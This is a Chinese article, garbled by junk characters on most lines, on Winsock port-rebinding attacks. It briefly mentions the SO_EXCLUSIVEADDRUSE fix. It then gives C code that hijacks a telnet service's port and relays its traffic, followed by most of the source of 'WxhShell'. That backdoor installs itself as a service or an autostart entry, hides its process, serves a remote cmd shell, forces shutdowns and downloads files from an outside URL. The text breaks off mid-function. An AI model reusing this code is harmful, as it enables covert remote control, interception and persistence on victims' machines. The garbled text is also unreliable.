在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
]lA}5 s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
qVh?%c1.Y O.FTToh< saddr.sin_family = AF_INET;
gba1R r#WqXh_uk saddr.sin_addr.s_addr = htonl(INADDR_ANY);
l0G{{R0Y qK$O /g, bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
P.>fkO1\ -F/)-s6#!' 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
FZgf"XM> Zw)=Y.y! 这意味着什么?意味着可以进行如下的攻击:
)vq}$W!:9 HBp??.r 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
x9F* $G Vl$RMW@Ds 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
~EmK;[Z |\Gkhi>; 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
N$>Ml!J j?C[ids< 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
aO$0[-A EJ
{vJZO 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
pImq<Z U`)
";WN 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
O_ r-(wE4 I0l3"5X
a 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
@8 c@H#H iJh{,0))g #include
`}t5` :#k #include
NdJ]\>5oN, #include
\
3E%6L #include
\#biwX DWORD WINAPI ClientThread(LPVOID lpParam);
8cfsl lI int main()
n=b!c@f4 {
$~q{MX&J WORD wVersionRequested;
6DHZ,gWq DWORD ret;
1g=T"O&= WSADATA wsaData;
CHS}tCfos> BOOL val;
y=9fuGL6 SOCKADDR_IN saddr;
9+(6/< SOCKADDR_IN scaddr;
?4%#myO3a int err;
X7*ossv SOCKET s;
R[j'<gd. SOCKET sc;
YP!}Bf int caddsize;
F+G+XtOS HANDLE mt;
9/8+R% DWORD tid;
V9ZM4.,OCN wVersionRequested = MAKEWORD( 2, 2 );
6 [bQ'Ir^8 err = WSAStartup( wVersionRequested, &wsaData );
N\ <riS9 if ( err != 0 ) {
}qGd*k0F0 printf("error!WSAStartup failed!\n");
wy|b Hkr_ return -1;
i*l=xW;bM }
xX%{i0E saddr.sin_family = AF_INET;
IRLAsb3 "$5cKbJ //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
QX?moW6UW r+Sv(KS4i^ saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
Xr o5~G saddr.sin_port = htons(23);
Rex86!TO if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
*B4OvHi)' {
on
hLhrZ printf("error!socket failed!\n");
mb_6f:Qh3 return -1;
DIYR8l}x }
"&qAV'U val = TRUE;
w[vccARQ //SO_REUSEADDR选项就是可以实现端口重绑定的
k0FAI0~( if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
E}zGY2Xx {
I7h v'3u printf("error!setsockopt failed!\n");
pQZ`dS\ return -1;
y:zNf?6& }
B !x6N" //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
BQ,749^S //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
f^}n# //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
4<<eqxI$| Wf?[GO if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
?W dY{;& {
KWYjN
h#* ret=GetLastError();
3it*l-i\ printf("error!bind failed!\n");
,y0 &E8Z return -1;
kxrYA|x }
SPe%9J+ listen(s,2);
cAx$W6S while(1)
,ZYPffu<* {
}] 1C=~lC caddsize = sizeof(scaddr);
`)8SIx //接受连接请求
|BtFT sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
jc32s}/H if(sc!=INVALID_SOCKET)
+u |SX/C {
lP4s"8E`h mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
Rm_+kp@\ if(mt==NULL)
&D|+tu{ {
Qo]qs+ printf("Thread Creat Failed!\n");
1uyd+*/(xP break;
N3Q
.4?
z9 }
Z>/
*q2 }
CZ^
,bad CloseHandle(mt);
]"O*& }
~md06"AYJ closesocket(s);
Ke[`zui@? WSACleanup();
h0x'QiCc return 0;
Jz0AYiCq }
_/ 5 DWORD WINAPI ClientThread(LPVOID lpParam)
vEE\{1 {
Vv`94aQTD SOCKET ss = (SOCKET)lpParam;
S]}}r) SOCKET sc;
O#!|2qN unsigned char buf[4096];
[Tvdchl OC SOCKADDR_IN saddr;
~USyN'5lU7 long num;
0e:j=kd)NH DWORD val;
6h)
&h1Yd DWORD ret;
([SJ6ff]& //如果是隐藏端口应用的话,可以在此处加一些判断
benqm ~{\ //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
b!/-9{ saddr.sin_family = AF_INET;
%ol1WG 9 saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
Y~r)WV!G saddr.sin_port = htons(23);
wrJ"(:VZ if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
?{L'd {
hq&9S{Ep printf("error!socket failed!\n");
A*|\E:fo return -1;
3 l
j^I }
iTT7<x
val = 100;
ym` 4v5w if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
M4
})) {
5+b73R3r ret = GetLastError();
1<Uv4S return -1;
z X+i2, }
>%N,F`^3 if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
g&_f%hx? {
xMpgXB!' ret = GetLastError();
pFBK'NE return -1;
d&ff1(j( }
[_KOU2 if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
zTq"kxn' {
%5n'+- XVj printf("error!socket connect failed!\n");
%Yg|QBm| closesocket(sc);
Y!ypG- closesocket(ss);
2PNe~9)*# return -1;
{g4w[F!77 }
y\:Ma7V while(1)
^FTS'/Q {
>C5u>@%9O //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
k|jr+hmn": //如果是嗅探内容的话,可以再此处进行内容分析和记录
J9J/3O
Q= //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
x lsAct: num = recv(ss,buf,4096,0);
I2)2'j,B if(num>0)
4T~wnTH0Xg send(sc,buf,num,0);
SoFl]^l else if(num==0)
[CAFh:o break;
xNRMI!yv
num = recv(sc,buf,4096,0);
`O%O[ if(num>0)
L@?3E`4/v send(ss,buf,num,0);
V1Gnr~GM else if(num==0)
aM_O0Rn== break;
^ME'D }
"F
Etl( closesocket(ss);
Vhe$vH closesocket(sc);
u3Zu ~C return 0 ;
X<v1ES$ }
_1YC9} =?\%E[j `Hu2a]e9 ==========================================================
:/"5x iMV=R2t 2 下边附上一个代码,,WXhSHELL
:N_DJ51 7e#|Iq:o ==========================================================
C/9]TkX}q CZ{7?:^f #include "stdafx.h"
[e{W:7uFV ZhC,nbM #include <stdio.h>
oDt{;S8|] #include <string.h>
rz%^l1@- #include <windows.h>
BJg #include <winsock2.h>
8WKY 4nkj #include <winsvc.h>
^HE@ [b #include <urlmon.h>
Z@>kqJ% s+=':Gcb(C #pragma comment (lib, "Ws2_32.lib")
p3T:Y_ #pragma comment (lib, "urlmon.lib")
rJRg4Rog ##alzC #define MAX_USER 100 // 最大客户端连接数
T_9o0Q k #define BUF_SOCK 200 // sock buffer
s5*HS3D #define KEY_BUFF 255 // 输入 buffer
8 0o'=E}" VZ
7(6?W #define REBOOT 0 // 重启
)$d~HA@B #define SHUTDOWN 1 // 关机
);n/G *!dA/sid #define DEF_PORT 5000 // 监听端口
zXbA$c Tv
5J #define REG_LEN 16 // 注册表键长度
$ 1m}lXk #define SVC_LEN 80 // NT服务名长度
T)ISDK4>S" M[Nv> // 从dll定义API
4_$.gO typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
K7nyQGS typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
qmvQd8|XR typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
hp2$[p6O typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
h b8L[ 4 {:Kr't<XzF // wxhshell配置信息
?|\wJrM ] struct WSCFG {
B`jq"[w]- int ws_port; // 监听端口
1i)3!fH0:
char ws_passstr[REG_LEN]; // 口令
Jz P0D' int ws_autoins; // 安装标记, 1=yes 0=no
Cbm^:
_LR char ws_regname[REG_LEN]; // 注册表键名
aEVy20wd char ws_svcname[REG_LEN]; // 服务名
} .<(L char ws_svcdisp[SVC_LEN]; // 服务显示名
"I9 r>= char ws_svcdesc[SVC_LEN]; // 服务描述信息
~mMTfC~9 char ws_passmsg[SVC_LEN]; // 密码输入提示信息
K5jeazasp int ws_downexe; // 下载执行标记, 1=yes 0=no
8yH)9#>
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
3iL\<^d*ht char ws_filenam[SVC_LEN]; // 下载后保存的文件名
!?+q7U IcGX~zWr };
E\p"% =+q\Jh // default Wxhshell configuration
j5]ul!ji struct WSCFG wscfg={DEF_PORT,
Y4_xV& "xuhuanlingzhe",
/?Mr2!3N 1,
YhC|hDC "Wxhshell",
l@-h.tS "Wxhshell",
(=EDqAZg "WxhShell Service",
>vO+k^'Y "Wrsky Windows CmdShell Service",
JZ&_1~Z= "Please Input Your Password: ",
aeAx0yE[p 1,
cL~YQJYp "
http://www.wrsky.com/wxhshell.exe",
^6LnB#C& "Wxhshell.exe"
.*.eY?,V };
sH >zsc rUAt`ykTmN // 消息定义模块
_-9cGm v char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
WJ[>p
ELT, char *msg_ws_prompt="\n\r? for help\n\r#>";
4%I[.dBnM char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
SQ/HZ char *msg_ws_ext="\n\rExit.";
,xAF=t char *msg_ws_end="\n\rQuit.";
#VVfHCy char *msg_ws_boot="\n\rReboot...";
\<G"9w char *msg_ws_poff="\n\rShutdown...";
ErQ6a%~, char *msg_ws_down="\n\rSave to ";
UP%6s:>: "^;h' char *msg_ws_err="\n\rErr!";
7T t!hf char *msg_ws_ok="\n\rOK!";
]]3rSXs2}J j]vEo~Bbh char ExeFile[MAX_PATH];
Nd{U|k3pL int nUser = 0;
a;M{-G HANDLE handles[MAX_USER];
Fop +xR,Z int OsIsNt;
,LxkdV TU*EtE'g/ SERVICE_STATUS serviceStatus;
bX`Gv+ SERVICE_STATUS_HANDLE hServiceStatusHandle;
&|db}\jT KC9e{ // 函数声明
?)(-_N&T int Install(void);
#N'9
w . int Uninstall(void);
DH.UJ+ int DownloadFile(char *sURL, SOCKET wsh);
W8;!rFW int Boot(int flag);
B;W%P.<. void HideProc(void);
jIVD i~Ld int GetOsVer(void);
2A:h&t/|C int Wxhshell(SOCKET wsl);
\xv(&94U void TalkWithClient(void *cs);
G.v(2~QFd int CmdShell(SOCKET sock);
{8`$~c int StartFromService(void);
UT9u? int StartWxhshell(LPSTR lpCmdLine);
aql8Or1[ a(ITv roM/ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
sf# px|~9 VOID WINAPI NTServiceHandler( DWORD fdwControl );
RVLVY:h|F 4RYH^9;>K // 数据结构和表定义
@qj]`}Gx' SERVICE_TABLE_ENTRY DispatchTable[] =
|r36iUHZS {
Id>4fF:o {wscfg.ws_svcname, NTServiceMain},
t8rFn {NULL, NULL}
D|Wlq~IpQ };
D}j`T cC+2%q B // 自我安装
`|nCnT' int Install(void)
Im@OAR4,R {
={V@Y-5T char svExeFile[MAX_PATH];
Pnm$g;`P HKEY key;
1?1Bz?EKF* strcpy(svExeFile,ExeFile);
8N?D1;F; o)^Wz // 如果是win9x系统,修改注册表设为自启动
jX(hBnGW if(!OsIsNt) {
T?1V%!a;f if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
k+w Ji RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
rjO{B`sV* RegCloseKey(key);
(V]3w if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
Ke?,AWfG RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
w^$C\bCbh RegCloseKey(key);
j%^4
1 y return 0;
Y?3tf0t/ }
hpPacN }
y$SUYG'v }
|5O>7~Tp else {
$~W5! m &} `a"tYr // 如果是NT以上系统,安装为系统服务
=!xX{o?64 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
q CYu@Ho if (schSCManager!=0)
wWiYxBeN {
Q}KOb4D SC_HANDLE schService = CreateService
Jou*e% (
tqCkqmyC schSCManager,
' BS.:^ wscfg.ws_svcname,
(;%T]?<9# wscfg.ws_svcdisp,
@z{SDM SERVICE_ALL_ACCESS,
Qz#By V: SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
wK#*| SERVICE_AUTO_START,
yb?Pyq.D SERVICE_ERROR_NORMAL,
Hz2Sx1.i svExeFile,
J'$NBws NULL,
'xGhMgR; NULL,
*Q/^ib9= NULL,
/#H P;>!n NULL,
=\5WYC NULL
G[yzi );
hr 6j+p: if (schService!=0)
}&e HU {
C49\'1\6 CloseServiceHandle(schService);
X.k8w\~ CloseServiceHandle(schSCManager);
V<jj'dZfW strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
J&,hC%] strcat(svExeFile,wscfg.ws_svcname);
%oTBh* K'o if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
x5BS|3W$a RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
X3kFJ{ RegCloseKey(key);
F}ATY! return 0;
)`f-qTe }
~ILv*v@m }
>19s:+ CloseServiceHandle(schSCManager);
\\#D!q* }
5P"R'/[PA_ }
kaB|+U9^ o
/[7Vo return 1;
iBSg`"S^]C }
]h(Iun Td'(RV // 自我卸载
}RI_k&; int Uninstall(void)
rxu_Ssd@" {
C1=&Vm>g+ HKEY key;
<TtPwUX
abR<( H12 if(!OsIsNt) {
qpYgTn8l7 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
vf{$2rC RegDeleteValue(key,wscfg.ws_regname);
{L%J DJ RegCloseKey(key);
o&Xp%}TI if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
=-fM2oiI: RegDeleteValue(key,wscfg.ws_regname);
R P<M RegCloseKey(key);
,#3Aaw return 0;
EHm*~Sd }
e,_Sj(R8 }
0lg'QG> }
(4/"uj5 else {
$Z#~wsw }%/mPbd# SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
XNJZ~Mowb if (schSCManager!=0)
#xGP|:m {
j;]I
-M[ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
!~~KM?g if (schService!=0)
RdWn =; {
KYm8|]'g if(DeleteService(schService)!=0) {
s0f+AS|} CloseServiceHandle(schService);
)__sw CloseServiceHandle(schSCManager);
l!88|~ return 0;
u0&R*YV }
9d#?,:JG CloseServiceHandle(schService);
ZY`9 }
Uq#2~0n> CloseServiceHandle(schSCManager);
%Tp
k1 }
3Z9Yzv)A }
92<+ug = )2?]c return 1;
zMbFh_dcq }
18rV Acj DPxx9lN_rx // 从指定url下载文件
;7:} iKU int DownloadFile(char *sURL, SOCKET wsh)
~
O#\$u {
K
$- * HRESULT hr;
C`i#7zsH char seps[]= "/";
`J,>#Y6(J char *token;
p7Wt(A char *file;
}vZf&ib-
char myURL[MAX_PATH];
-J+1V{ char myFILE[MAX_PATH];
Bam.B6- pJ/]\>#5 strcpy(myURL,sURL);
qr%N/7 token=strtok(myURL,seps);
`KA==;0 while(token!=NULL)
=M;F&;\8 {
D r(0w{5 file=token;
u'l4=e token=strtok(NULL,seps);
ojnO69v }
&@oI/i&0B >2{Y5__+e GetCurrentDirectory(MAX_PATH,myFILE);
q@bye4Ry%W strcat(myFILE, "\\");
'fU #v`i strcat(myFILE, file);
J\*uW|=F send(wsh,myFILE,strlen(myFILE),0);
_F6<ba}o3 send(wsh,"...",3,0);
1!MJ+?Jl hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
';FJs&=I if(hr==S_OK)
wz`% (\ return 0;
VU,G.eLW else
#wIWh^^ Zy return 1;
u>lt}0 g,JfT^ }
.4%z$(+6 O00;0w u // 系统电源模块
i&>^"_4rc int Boot(int flag)
}jCO@v; {
i;^lh]u HANDLE hToken;
(2H
GV+Dg TOKEN_PRIVILEGES tkp;
UV D D) M@{?#MkS% if(OsIsNt) {
JyE-c}I OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
xcW\U^1d LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
aJ(/r.1G tkp.PrivilegeCount = 1;
Y`j$7!j tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
L'{W|Xb+ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
~@c<5 -`{ if(flag==REBOOT) {
(7G4 v if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
E42)93~C return 0;
Hj{.{V }
8*0QVFn$ else {
Bp7p X if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
Li5&^RAo|J return 0;
.|[{$&B }
NuR7pjNMZ }
:38{YCN else {
d|RUxNjM-J if(flag==REBOOT) {
*xNc^&. if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
$f3 IO#N return 0;
<)T| HKx }
?3BcjD0 else {
J "I,] if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
8S8qj"s return 0;
gvT}UNqL }
>p-UQc }
6a,8t n%F _3` return 1;
B.G6vx4yp }
L&kCI`Tb D^@@ P // win9x进程隐藏模块
D{B?2}X void HideProc(void)
gEk;Tj {
c@[Trk m \o[][R#D HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
c_vGr55 if ( hKernel != NULL )
,A` |jF {
EF
:g0$ pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
!j'LZ7 ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
5T#v& FreeLibrary(hKernel);
6ncwa<q5 }
e&
`"}^X;I _:9}RT? return;
>}
2C,8N }
ys=}
V| D?_K5a&v, // 获取操作系统版本
6{.U7=" int GetOsVer(void)
(y]Z *p:EW {
L@H^?1*L? OSVERSIONINFO winfo;
o+.L@3RT4 winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
{FFdMdxy- GetVersionEx(&winfo);
bSw^a{~) if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
X,w X)9]J return 1;
}BC%(ZH6 else
*w@1@6?j return 0;
W Csf_1 }
GrG'G(NQ gV.? Myy // 客户端句柄模块
#[jS&rr( int Wxhshell(SOCKET wsl)
4x)vy-y {
PI*@.kqR- SOCKET wsh;
MuD
? KK struct sockaddr_in client;
phH@{mI DWORD myID;
x$-kw{N -/?)0E while(nUser<MAX_USER)
gNW+Dq|X% {
^ELZ35=qZ int nSize=sizeof(client);
%l!A%fn( wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
'EIe5Op if(wsh==INVALID_SOCKET) return 1;
ra'/~^9 /HRKw
D handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
eaf-_#qb if(handles[nUser]==0)
]#G s6CsT| closesocket(wsh);
eAW)|=2 else
6,YoP|@0 nUser++;
3zh:~w_ }
:8@)W<>% WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
FQO=}0Hl Sa<(F[p` return 0;
=.8n K
y }
gra6&&^" ;j1
SSHZ // 关闭 socket
SN@>m pcJS void CloseIt(SOCKET wsh)
-OJ <Lf+"= {
.Qrpz^wdt closesocket(wsh);
H]tD~KM< nUser--;
Rr
[_t FM ExitThread(0);
fd *XK/h }
R-m5( %/I:r7UR{ // 客户端请求句柄
;l!<A void TalkWithClient(void *cs)
3H!]X M {
i_N8)Z;r HFP'b=?`]| SOCKET wsh=(SOCKET)cs;
+m./RlQ{ char pwd[SVC_LEN];
jz"
>Kh.} char cmd[KEY_BUFF];
8zHx$g char chr[1];
T9$~tv,5F int i,j;
R*bx&..< sPQjB[ while (nUser < MAX_USER) {
S~:uOm2t\ ^|Z'}p|& if(wscfg.ws_passstr) {
a&JY x if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
3}\ z&| //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
z` 6$p1U //ZeroMemory(pwd,KEY_BUFF);
~4+Y BN i=0;
'sIne> while(i<SVC_LEN) {
8WV5'cX 2?7ID~\ // 设置超时
w` +,
fd_set FdRead;
+H&/C1u struct timeval TimeOut;
[c=Wp FD_ZERO(&FdRead);
)zO|m7 FD_SET(wsh,&FdRead);
8F>9CO:&N TimeOut.tv_sec=8;
?{ '_4n3O TimeOut.tv_usec=0;
z$^wCd: int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
2o(O`;z if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
Nsh/ *e [* if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
Ut2T:%m{ pwd
=chr[0]; qZ!kVrmg&
if(chr[0]==0xd || chr[0]==0xa) { e^N~)Nlj
pwd=0; #"-_ ~
break; KH#z =_
} 5nib<B%<V
i++; BC!) g+8
} C _he=SV
BTwc(oL
// 如果是非法用户,关闭 socket ngZq]8=o
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); KgM|:'
} .t[u_tBL
"Q+wO+}6
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); =KQIrS:
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); SM)"vr_
%iNgHoH
while(1) { F-ZTy"z
5)Z=FUupA~
ZeroMemory(cmd,KEY_BUFF); qnyacI
k'%yvlv
// 自动支持客户端 telnet标准 873 bg|^hs
j=0; %1p-DX6
while(j<KEY_BUFF) { <m \Y$Wv
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 7Ku&Q<mi
cmd[j]=chr[0]; rPy,PQG2w
if(chr[0]==0xa || chr[0]==0xd) { 6t7FklM%
cmd[j]=0; j.6!T'$|
break; &i3SB[|
} sHPAr}14
j++; GmNCw5F
} k(Xs&f
`
^|oI^"IQ=
// 下载文件 afHRy:<+%
if(strstr(cmd,"http://")) { bK }ZR*)
send(wsh,msg_ws_down,strlen(msg_ws_down),0); ;B
|
if(DownloadFile(cmd,wsh)) H HX q_-V
send(wsh,msg_ws_err,strlen(msg_ws_err),0); $hCS-9%&
else 7l-MVn_8
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =U~53Tg
} hwUb(pZ
else { $yU}56(z~
&;?+ ^L>
switch(cmd[0]) { tH; 6Mp;f
%`pi*/(
// 帮助 ^!
h3#4
case '?': { `vzMuL;
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); x(sKkm`Q
break; 00IW9B-
} q'7.lrKwa>
// 安装 fcp_<2KH
case 'i': { .n_Z0&i/w
if(Install()) I-8I/RRkmP
send(wsh,msg_ws_err,strlen(msg_ws_err),0); #*9 |\
else mEYfsO
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); P%&|?e~D^
break; 9[\do@
} :I"22EH
// 卸载 :mDOqlXW/
case 'r': { 4/{pz$
if(Uninstall()) OH`zeI,[*
send(wsh,msg_ws_err,strlen(msg_ws_err),0); VFawASwQ
else FT>>XP8
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3d;J"e+?
break; jQ7;-9/~N
} e~*tQ4
// 显示 wxhshell 所在路径 n&&C(#mBC
case 'p': { :Nf(:D8
char svExeFile[MAX_PATH]; ]O:u9If
strcpy(svExeFile,"\n\r"); }s?w-u+(c6
strcat(svExeFile,ExeFile); ?/T=Gk
send(wsh,svExeFile,strlen(svExeFile),0); .nEMd/pX
break; Ar~<l2,{r
} 4 5wqX h
// 重启 _~tF2`,Y_p
case 'b': { dpchZ{
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); fup?Mg-
if(Boot(REBOOT)) HZ!<dy3
send(wsh,msg_ws_err,strlen(msg_ws_err),0); z|],s]F>G
else { -]}#Z:&
closesocket(wsh); lmUCrs37
ExitThread(0); A`~?2LH,~F
} (qR;6l
break; \;_tXb}F
} L;g2ZoqIr0
// 关机 ^-Arfm%dn
case 'd': { ]qZj@0#7n
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); V/DMkO#a
if(Boot(SHUTDOWN)) };}N1[D
send(wsh,msg_ws_err,strlen(msg_ws_err),0); e]>=;Zn
else { Ui"$A/
closesocket(wsh); _IEbRVpb
ExitThread(0); ~x4]p|)</
} ^^
SMr l
break; !S7?:MJ?p\
} Z$c&Y>@)
// 获取shell /g%RIzgW
case 's': { _7u&.l<;
CmdShell(wsh); E}%Pwr
closesocket(wsh); 5cM%PYU4:v
ExitThread(0); ;B2kot7
break; rFt+Y})
} gkTwGI+w
// 退出 /W
f.Gt9[
case 'x': { #D(=[F
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); |;aZi?Ek[
CloseIt(wsh); "ivVIq2
break; t{s>B]i^_w
} ]!1HN3
// 离开 OU/3U(%n]e
case 'q': { ]X7_ji(l,
send(wsh,msg_ws_end,strlen(msg_ws_end),0); p]~PyzG!
closesocket(wsh); iu{;|E
WSACleanup(); "g"%7jK
exit(1); /_expSPHl
break; v`'Iew }
} 6Rif&W.xy
} GU1cMe
} mW[w4J+7P
sm[zE/2b
// 提示信息 FncP,F$8
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); wj'fdrY5h
} 6
3PV R"
} ;InMgo,
&'DR`e O)
return; D8B\F5..c#
} ZF#lh]
e{4e<hd
// shell模块句柄 d6m&nj
int CmdShell(SOCKET sock) ??#EG{{
{ zmuRn4Nv
STARTUPINFO si; MYxuQ |w
ZeroMemory(&si,sizeof(si)); DuAix)#FN9
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; S+eu3nMq
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; %0vsm+XQ0E
PROCESS_INFORMATION ProcessInfo; ^I6Vz?0Jl
char cmdline[]="cmd"; c9nv=?/}f
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); )FA:wsy~E
return 0; is%ef
} wUg=jnY
jC>mDnX
// 自身启动模式 U"UsQYa_
int StartFromService(void) [*C~BM
{ |z@AvS[
typedef struct Y)(w&E>1
{ _~>WAm<
DWORD ExitStatus; }a UQ#x
DWORD PebBaseAddress; y'oH>l+n
